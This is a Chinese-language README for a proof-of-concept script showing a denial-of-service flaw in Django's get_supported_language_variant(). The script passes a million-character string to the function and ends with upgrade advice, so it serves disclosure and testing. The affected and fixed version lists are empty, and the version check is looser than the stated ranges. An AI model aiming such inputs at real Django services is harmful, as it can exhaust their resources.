本仓库包含一个概念验证 (PoC) 脚本,用于演示 Django 5.0(5.0.7 之前版本)和 4.2(4.2.14 之前版本)中的拒绝服务 (DoS) 漏洞。该漏洞存在于 get_supported_language_variant() 函数中,在处理包含特定字符的超长字符串时容易受到潜在的 DoS 攻击。
CVE-ID:(待定)
概述:
Django 5.0(5.0.7 之前版本)和 4.2(4.2.14 之前版本)中的 get_supported_language_variant() 函数存在拒绝服务攻击漏洞。攻击者可通过发送包含特定字符的超长字符串来利用此函数,从而导致资源耗尽,进而造成拒绝服务。
受影响版本:
修复版本:
pip install django)该脚本演示了攻击者如何通过向 get_supported_language_variant() 函数发送一个超长字符串来利用该漏洞。
将以下脚本保存为 dos_poc.py 并运行。
import django
from django.utils.translation import get_supported_language_variant
# 检查 Django 版本
if django.VERSION < (4, 2, 14) or (5, 0) <= django.VERSION < (5, 0, 7):
print("[-] 此 Django 版本易受 DoS 攻击。")
else:
print("[+] 此 Django 版本不易受攻击。请使用易受攻击的版本进行测试。")
# 生成包含特定字符的超长字符串
very_long_string = 'a' * 1000000 + '!' # 根据需要调整长度和内容
def test_dos_vulnerability():
try:
# 触发漏洞
get_supported_language_variant(very_long_string)
print("[+] 成功使用超长字符串调用了 get_supported_language_variant。")
except Exception as e:
print(f"[-] 发生错误:{e}")
if __name__ == "__main__":
test_dos_vulnerability()
test_dos_vulnerability() 函数使用超长字符串调用 get_supported_language_variant() 来测试漏洞。为缓解此漏洞,请升级到修复版本的 Django:
按照官方的 Django 升级指南 将你的 Django 安装更新到最新的安全版本。
通过保持软件最新并遵循安全最佳实践,你可以防止诸如 Django 中此 DoS 问题之类的漏洞。